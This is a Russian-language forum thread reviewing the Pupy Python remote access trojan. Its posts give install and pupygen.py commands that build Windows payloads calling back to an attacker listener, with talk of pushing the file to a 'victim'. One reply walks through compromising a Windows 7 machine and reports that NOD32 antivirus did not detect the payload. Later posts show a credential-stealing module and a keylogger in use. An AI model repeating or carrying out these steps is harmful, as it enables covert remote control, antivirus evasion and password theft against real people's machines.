<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Сегодня посмотрим ,на мой взгляд , довольно таки не плохой мультиплатформенный RAT на питоне c очень большим функционалом.

Pupy может использовать различные протоколы шифрования для комуникации с жертвой (SSL,HTTP,RSA,obfs3,scramblesuit), мигрировать в процессы (reflective injection), подгружать удаленные python скрипты, python пакеты и python C-extensions из оперативной памяти.
Pupy может создавать payloads в различных форматах ,таких как PE executables, reflective DLLs, python files, powershell, apk, ...

После тестирования данного продукта мне он напомнил что то общее между meterpreter и модулями из PowerShell Empire Framework ,как интерфейсом так и модулями которые разработчики вложили в сей продукт.

Я считаю что его можно отлично использовать для:
  • security research
  • обучения
  • пентестинга
  • администрирования
И так давайте все же познакомимся с ним по ближе.
Создаем PAYLOAD
Ну для начала скачаем все же и установим зависимости(я делаk на Kali Linux):
Код:
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule update --init --depth 1 pupy/payload_templates
git submodule init
git submodule update
pip install -r requirements.txt

Дальше идем в папку pupy и там нас пока что интересуют только два файла:
pupygen.py -сам билдер(генератор) так сказать и pupysh.py сама серверная часть,консоль управления.
6.jpg

Я попытаюсь кратко описать функционал,иначе статья будет очень длинная. Одна из фишек этой тулзы это транспорты и скриплеты которые позволяют выбирать тип шифрования трафика ,а скриплеты позволяют запустить какой то модуль сразу же при старте вредоноса(например кейлоггер) Посмотреть список скриплетов и транспортов можно командой
Код:
 python pupygen.py -l
5.jpg

Cгенерировать бинарник под виндоус систему можно следующей командой:
Код:
./pupygen.py -f exe_x86 -o ~/DarkNode.exe connect --host 192.168.137.137:443
1.png

После этого парим жертве(правда он скорее всего спалится антивирусом,но в следующих статья я научу его вас обходить,это ознакомительная часть)

Дальше все очень похоже на метерпретер сессию метаслоита:
Открываем сессию командой
Код:
session -i 1
пользуемся командамы
help
list_modules
run module_name -h

8.jpg

9.jpg

10.png

11.jpg

Спасибо за внимания.C Вами был DarkNode)
 
X

xXx

Зачет! Понравился результат под системой )))
 
M

mr RipMars

Отлично! Побольше бы таких подробных описаний )
 
M

m0tion

Мощная вещь. С нетерпетием жду обход АВ.
 
  • Нравится
Реакции: i_bog_i

id2746

Green Team
12.11.2016
435
644
BIT
21
Инструмент периодически обновляется и является актуальным на сегодняшний день.

Пример компрометации для малоопытных пользователей:
В качастве атакующей систем kali linux 2017.1 с адресом 192.168.43.162
В качасве атакуемой системы win7 x64 c АВ NOD32.



Генерируем нагрузку:
Код:
./pupygen.py -f client -O windows -A x64 -o test_for_codeby.exe --randomize-hash connect --host 192.168.43.162:443
Снимок экрана от 2017-06-13 11-24-36.png


Получаем файл (test_for_codeby.exe) с заданными параметрами:
Снимок экрана от 2017-06-13 11-25-14.png


он находится в папке с pupy:
Снимок экрана от 2017-06-13 11-03-57.png


Доставляем файл на целевую систему, после чего из папку с pupy запускаем клиентскую часть:
Код:
./pupysh.py
Снимок экрана от 2017-06-13 11-12-00.png



Проверим файл NOD'ом c обновленными от 13.05.2017г. сигнатурами:
Снимок экрана от 2017-06-13 11-18-10.png

Как видим, всё ОК.


После запуска файла на целевой системе получаем сессию:
Снимок экрана от 2017-06-13 11-26-30.png


Список команд:
Снимок экрана от 2017-06-13 11-27-56.png



Наш процесс ID и разыв сессии:
Снимок экрана от 2017-06-13 11-29-52.png



Спасибо ~~DarkNode~~ за обзор!!!
[doublepost=1497343964,1497343770][/doublepost]П.С. Мой пост к тому, что благодаря шифрованию и SSL ни брандмауэр ни АВ наш файл не заблокировали.
Минусом лично для меня является размер файла
Снимок экрана от 2017-06-13 11-52-15.png

[doublepost=1497347490][/doublepost]Еще добавлю.
В отличие от meterpreter, при разрыве сессии отсутствует необходимость повторной эксплуатации цели (в случае с pupy это повторный запуск вредоносного файла на целевой машине). Т.е. если процесс не был завершен, то достаточно повторно запустить листенер.
 

id2746

Green Team
12.11.2016
435
644
BIT
21
Только что сгенерировал с отличными от первого файла параметрами, NOD молчит (тест в virtualbox)
Снимок экрана от 2017-06-13 13-53-40.png


Вчера тестировал на реальной машине - тоже тишина o_O
На VT не хочу загонять.
 

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
сам пользуюсь этой утилитой( как пост эксплуатацией) ..впечатления хорошее, но палится некоторыми антивирусами.
 

id2746

Green Team
12.11.2016
435
644
BIT
21
на днях сгенерированный файл был спален на целевой системе стандартным виндовым АВ.
 
  • Нравится
Реакции: <~DarkNode~>
O

OneDollar

Не получается правильно создать нагрузку под андроид, может кто помочь ?
 
D

Dmitry88

Статья как всегда на уровне! Ждем стать про обход АВ.
ПС: Мелкое замечание. Пожалуйста не используйте светлые шрифты. Светло-зеленый и светло-серый на сером выглядят вообще не очень. Тяжело читать.
 
  • Нравится
Реакции: <~DarkNode~>
O

OneDollar

Друзья, все отлично работало пару часов назад. Ничего не удалял, не менял, сейчас запускаю и команда run creds/lazagne не достает пароли. Остальные команды работаю, вот пробовал кейлогер, все работает.
Код:
>> run creds/lazagne
[-] 'ascii' codec can't decode byte 0xd0 in position 10: ordinal not in range(128)
Traceback (most recent call last):
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyJob.py", line 129, in module_worker
    module.run(args)
  File "/root/pupy криптер файлов и тд/pupy/modules/lazagne.py", line 65, in run
    client=self.client.short_name(), config=self.config
  File "/root/pupy криптер файлов и тд/pupy/pupylib/utils/credentials.py", line 15, in __init__
    '%c': client or ''
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyConfig.py", line 165, in get_folder
    return self.get_path(folder, substitutions, create, True)
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyConfig.py", line 144, in get_path
    retfilepath = retfilepath.replace(key, str(value))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 10: ordinal not in range(128)
Что это может быть ?
 
Последнее редактирование модератором:

shArky

Green Team
07.01.2017
47
41
BIT
1
Опять ошибки при установке. Как же они за..Ладно.
При установке m2crypto возникала ошибка, поэтому пришлось:
  1. Убрать строку m2crypto из requirements.txt
  2. sudo apt-get install python-m2crypto
Также не мог установить кучу того, что требовалось, поэтому sudo.
Ещё не мог установить из-за того, что нужен python-dev. Решилось так:
  1. sudo aptitude install python-dev
  2. n [enter]
  3. Y [enter]
  4. sudo aptitude upgrade
Надеюсь помог тем, у кого та же проблема.
[Добавка от 13.12.2017: 16 - 03 МСК]
"Template not found (/home/server/Загрузки/Прочее/pupy/pupy/payload_templates/pupyx86.exe)"
Решение:
  1. wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz
  2. tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates
[doublepost=1513178216,1513169557][/doublepost]Ещё проблема с установкой PyAutoGUI.
Решение #1:
  1. pip install python-xlib
  2. sudo apt-get install scrot
  3. sudo apt-get install python-tk
  4. См. установку python-dev комментарием выше
  5. pip install pyautogui
Решение #2:
  1. Ставьте PyAutoGUI без SSH (т.е. не используя SSH)
Причина неизвестна, но так нужно сделать.
 
26.07.2020
6
0
BIT
1
привет всем. ребят, ну вот ни как не получается установить Pupy... или же запускается с ошибками....
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in <module>
import pylzma
ImportError: No module named pylzma
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!